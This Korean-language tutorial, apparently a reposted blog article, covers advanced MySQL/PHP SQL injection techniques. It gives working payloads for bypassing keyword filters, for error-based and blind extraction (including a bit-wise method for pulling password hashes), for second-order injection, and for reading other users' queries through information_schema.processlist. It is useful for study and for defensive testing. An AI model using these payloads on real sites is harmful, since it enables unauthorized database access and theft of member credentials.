[목차]

 

 

 

 

1. 이 문서는 어떻게 작성되었는가?

2. SQL Injection Filter Bypass

3. , Array 변수를 사용한 SQL Injection

4. Error Based SQL Injection

5. Error Based Blind SQL Injection

6. Indirect SQL Injection

7. Efficient Blind SQL Injection

8. SQL Injection with information schema.processlist

 

 

 

출처: rubiya 님

https://www.hackerschool.org/Sub_Html/HS_Posting/?uid=43

 

 

 

 


 

 

 

 

1. 이 문서는 어떻게 작성되었는가?

LeaveRet 소속의 rubiya 가 심화된 SQL injection 기법을 익히기를 희망하는 해커, 개발자들을 위해서 작성했다. 이 문서는 PHP, Mysql 환경에서의 SQL Injection 공격에 대한 잘 알려지지 않은 기술적인 지식에 대해서 다룰 것이다. rubiya805[at] gmail.com으로 그에게 연락할 수 있다.

 

 

 

 

2. SQL Injection Filter Bypass

대부분의 개발자들은 SQL Injection으로부터 자신의 웹사이트를 보호하기 위해 싱글 쿼터를 막는 등의 근본적인 방어를 시도한다. 그러나 가끔 키워드를 필터링할 경우가 존재하는데, 이는 대부분 오픈소스를 사용했거나 방화벽이 설치된 경우이다. 이럴 경우에 어떻게 필터링을 우회해야 하는지에 대해서 서술하겠다.

 

먼저 공백문자를 필터링할 경우에는 %09, %0a, %0b, %0c, %0d, %a0, /**/ 를 사용해서 공백문자를 대체할 수 있다. 이러한 키워드들이 막혔을 경우에는 ()를 사용할 수 있다.

 

select * from table라는 쿼리와 select(*)from(table) 이라는 쿼리가 동일하다는 점을 사용한 기법이다.

 

#, -- 등의 주석이 필터링 되었을 경우에는 ;%00, /* 를 대신 사용할 수도 있다. (Null 문자는 magic_quotes_gpc의 영향을 받음을 주의하자)

 

또한 싱글 쿼터가 막혀서 문자열을 집어넣을 수 없을 때는 0x, 0b를 사용해서 2진법, 16 진법으로 치환함으로써 대신할 수 있으며 환경에 따라서 x, b만 사용해도 된다.

 

select x'61' = 'a'

 

아래처럼 0x, 0b 대신 36 진법을 사용해도 된다.

 

select conv(10,10,36)='A'

 

또한 아래처럼 가젯에서 추출하는 방법도 있다.

 

select substr(monthname(from_unixtime(1)),2,1)='a' // monthname(from_unixtime(1)) = 'January'

 

숫자를 사용할 수 없는 경우에는 auto type cast를 사용해서 우회한다.

 

false = 0

true = 1

true+true = 2

floor(version()) = 5

 

 

일반적인 SQL Injection이 불가능할 경우에는 Blind SQL Injection 을 사용해야 한다.

Blind SQL Injection 을 하기 위해서는 글자를 잘라내는 과정이 선행되어야 하는데 여기서 substr 함수가 필터링 될 경우가 있다. 콤마만을 필터링 당했을 경우에는 select substr('asdf' from 1 for 1)='a'라는 방법도 존재한다.

 

함수 자체가 필터링 된 경우에는 substring 함수로 대체할 수가 있다. 그러나 substring 함수에 substr라는 문자열이 들어가기에 [substr(]라는 단어를 필터링하지 않는 이상 substr 함수와 함께 필터링 될 확률이 높다.

 

그럴 때는 like 쿼리의 와일드카드를 사용해서 아래처럼 우회할 수 있다.

 

select id from member where id like 'a%'

select id from member where id like 'b%'

select id from member where id like 'c%'

 

%는 뒤에 몇 글자가 들어오던지 상관하지 않고 select를 해주는 역할을 하는 와일드카드이기에 이런 공격이 가능한 것이다.

 

첫 번째 글자를 알아낸 후에는 아래의 예제처럼 뒤에 한 글자씩 추가해 주면 된다.

 

select id from member where id like 'ca%'

select id from member where id like 'cb%'

select id from member where id like 'cc%'

 

와일드카드를 사용할 때는 cat, camel, camera처럼 여러 개의 데이터가 동시에 select 될 경우가 있으니 엑스플로잇을 작성할 때 유의해야 한다.

 

like 가 필터링 당했다면 left 함수와 right 함수를 섞어서 사용함으로써 우회가 가능하다.

두 함수는 각각 1번째 인자로 들어온 값을 왼쪽, 오른쪽으로부터 2번째 인자로 들어온 값만큼 잘라내는 함수이다.

 

이를 혼합해서 아래의 예제처럼 substr 함수를 대신할 수 있는 것이다.

 

select right(left('asd',1),1) = 'a'

select right(left('asd',2),1) = 's'

select right(left('asd',3),1) = 'd'

 

필터링이 더 걸려있으면 아래의 예제를 참고하자.

 

select mid('asd',1,1) = 'a'

select lpad('asd',1,space(1)) = 'a'

select rpad('asd',1,space(1)) = 'a'

select reverse(right(reverse('asd'),1)) = 'a'

select insert(insert('asd',1,0,space(0)),2,222,space(0)) = 'a'

 

 

 

concat 함수는 select 'a' 's' 'd' 'f'='asdf' 이렇게 대신할 수 있다.

 

if 함수는 case(), ifnull(), nullif()로 대신할 수 있다.

 

ex) select case when 1=1 then sleep(1) else 1 end

 

sleep 함수가 막혔을 경우에는 benchmark() 함수를 사용해서 select benchmark(1000000,MD5(CHAR(118))) 이런 식으로 반복적인 연산을 통해서 시간을 지연시킬 수 있다.

 

혹은 select (select count(*) from information_schema.columns A, information_schema.columns B, information_schema.columns C) 이런 실행 시간이 오래 걸리는 쿼리를 실행함으로써 대신할 수도 있다.

 

다만 위의 두 가지 방법은 응답하는 데에 걸리는 시간이 불규칙적이라는 사실을 숙지해야 한다.

 

+++++ ascii 함수가 필터링 되어 있을 때는 bin, hex 와 같이 2, 16, 36 진법 등의 진법을 달리하여 우회한다.

 

 

 

 

3. , Array 변수를 사용한 SQL Injection

 

php.ini 파일에서 magic_quotes_gpc = on으로 설정해두면 클라이언트가 서버로 보내는 데이터에서 싱글 쿼터 앞에 백슬래시를 붙여준다. 이는 SQL Injection 공격을 하는 데에 큰 걸림돌이 되곤 한다.

 

그런데 magic_quotes_gpc는 GET, POST, COOKIE로 날아온 값에만 적용된다.

 

magic_quotes_gpc만 믿고, Array 변수를 데이터베이스에 함부로 날리는 개발자는 우리의 아주 좋은 먹잇감이다. 이를테면 insert into uploadfile values('filename','path')라는 쿼리를 날렸을 경우에는 filename 대신에

 

fdsa'),(user(),'1234'),('asdf라는 값을 날려서

 

insert into uploadfile values('asdf','fdsa'),(version(),'1234'),('asdf','path') 이런 식으로 쿼리가 조작될 수 있는 것이다.

 

insert 쿼리에서 insert into table values('asdf',1),('fdsa',2),('zxc',3) 이런 식으로 여러 개의 값을 동시에 넣을 수 있다는 사실을 몰랐다면 이 기회에 알아두자.

 

 

 

 

4. Error Based SQL Injection

 

에러 메시지를 기반으로 하는 SQL Injection 기법은 에러 메시지를 출력해 주는 제한적인 환경에서만 사용이 가능하지만 쿼리 한 번으로 원하는 데이터를 한 번에 띄울 수 있기 때문에 로그도 적게 남고 공격하는 데에 소요되는 시간도 단축돼서 Blind SQL Injection 기법에 비해 간편하고 빠르다.

 

에러 기반 SQLi 기법은 mssql 환경에서는 아주 수월하다.

 

서로 다른 데이터형의 값을 비교하게 되면 앞의 값을 뒤의 데이터형과 비교할 수 없다고 에러 메시지를 한 번에 뿜어주기 때문이다. 이를테면

 

select * from table where 'asdf'=123라는 쿼리를 날렸을 경우에

['asdf' 를 int 형의 값과 비교할 수 없습니다!]라는 에러 메시지가 뜬다.

 

그러나 mysql에서는 auto type cast를 해주기 때문에 서로 다른 데이터형의 값을 비교해도 아무런 문제가 없다.

 

원하는 값을 에러 메시지에 한 번에 띄우기 위해서는

 

select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a

 

이런 식으로 공격해야 한다.

여러 개의 값에 같은 키워드를 주고 그 키워드로 정렬해서 에러를 내는 원리이다.

아래는 몇 가지 예시이다.

 

select * from (select name_const(version(),1),name_const(version(),1))a

 

select * from table where 1=1 and ExtractValue(1,concat(0x01,version()))

 

select * from table where 1=1 and UpdateXML(1,concat(0x01,version()),1)

 

select * from table where (@:=1)or@ group by concat(@@version,@:=!@)having@||min(0)

 

환경에 맞게 골라 쓰자.

 

 

 

 

5. Error Based Blind SQL Injection

 

사용할 상황이 드문 공격 기법이지만 알아둬서 나쁠 건 없으니 개념만 알아두자.

 

select * from table where 1 and if(1=1,1,(select 1 union select 2))

 

select * from table where 1 and if(1=2,1,(select 1 union select 2))

 

첫 번째 예제는 if 절이 1=1로 참이 되면서 단순히 1을 반환한다.

두 번째 예제는 if 절이 거짓이 되면서 select 1 union select 2라는 쿼리를 실행하게 되고,

서브 쿼리에서 복수의 값을 반환하면서 에러가 발생하게 된다. (thx to hellsonic)

 

 

 

 

6. Indirect SQL Injection

 

insert into member where values('guest','123','qwe')라는 쿼리가 있다고 해보자.

 

[guest']를 입력하면 php 단에서는 이 값을 [guest\']로 변경한 후에 mysql에 날려줌으로써 쿼리에 영향을 끼치지 못하도록 할 것이다.

 

그런데 mysql에서 직접 값을 조회하면 (외의이지만 조금만 생각해 보면 당연하게도) [guest']라는 값이 들어가 있다.

 

이제 [guest']라는 계정으로 로그인을 한다면 내 아이디는 [guest'] 가 된다.

 

여기서 로그를 본다든지 하는 행동을 위해 쿼리에 아이디를 직접 넣는 코드가 있다면?

 

이번에는 [guest']라는 값이 쿼리에 영향을 끼치게 된다.

 

이 공격은 php.ini의 magic_quotes_runtime 옵션이 off 일 때만 적용 가능하다. (thx to dmbs335@LeaveRet)

 

 

 

 

7. Efficient Blind SQL Injection

 

Blind SQL Injection 을 수행할 경우에 한 글자를 알아내기 위해 90여 회의 쿼리를 날려줘야 한다. (아스키 범위 32~127)

 

그러나 쿼리를 효율적으로 작성하면 한 글자당 7회의 쿼리만으로 공격이 가능하다.

 

각 글자를 10진수로 변환해 주고 다시 2진수로 변환한 후에 lpad 함수를 사용해 7글자로 맞춰주면 된다.

 

페이로드는 아래와 같다.

 

select substr(lpad(bin(ascii(substr('asdf',1,1))),7,0),1,1)

 

만약 알아내야 하는 값이 md5 hash 와 같은 16진수의 묶음이라고 확신할 수 있다면 아래와 같은 쿼리를 통해서 글자당 4회의 쿼리로 더욱 효율적이고 빠른 공격이 가능하다.

 

select substr(lpad(bin(if(ascii(substring(pw,1,1))<90,ascii(substring(pw,1,1))-48,ascii(substring(pw,1,1))-87)),4,0),1,1)

 

 

 

 

8. SQL Injection with information schema.processlist

 

대형 사이트를 대상으로 SQL Injection 공격을 진행할 때에는 information schema.tables 테이블에 가서 테이블 목록을 봐도 어떤 테이블에 내가 원하는 정보가 담겨있는지 알기가 힘들다.

 

결국 당신은 이름이 비슷비슷한 수많은 테이블의 홍수 속에서 멘붕당할수도 있다.

 

이럴 때는 information schema.processlist 테이블을 사용해서 내가 원하는 정보를 담고 있는 테이블을 빠르게 찾을 수 있다.

 

information schema.processlist 테이블은 현재 실행 중인 쿼리들을 저장해두고 있다.

 

이럴 때 select info from information_schema.processlist라는 쿼리를 통해서 현재 실행 중인 쿼리를 볼 수 있으며, 실험해보지는 않았으나 레이스 컨디션 공격을 하듯이 반복적으로 시도하면 다른 사용자가 실행 중인 쿼리도 조회가 가능할 것이다.

 

만약 다른 사용자가 로그인 중일 때 우리가 해당 쿼리를 조회하는 데에 성공했다면 회원들의 정보가 들어있는 칼럼명과 테이블명을 한 번에 볼 수 있는 것이다.

 

 

 

 

[마침]

이 문서가 새로운 지식을 갈망하던 당신에게 작게나마 도움이 되었기를 바라며 글을 마친다.

 

 

[참고문헌]

http://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf

 

http://hellsonic.tistory.com/entry/Error-Based-MYSQL-Injection

 

http://websec.wordpress.com/tag/sql-filter-bypass/

 

 

 

728x90

+ Recent posts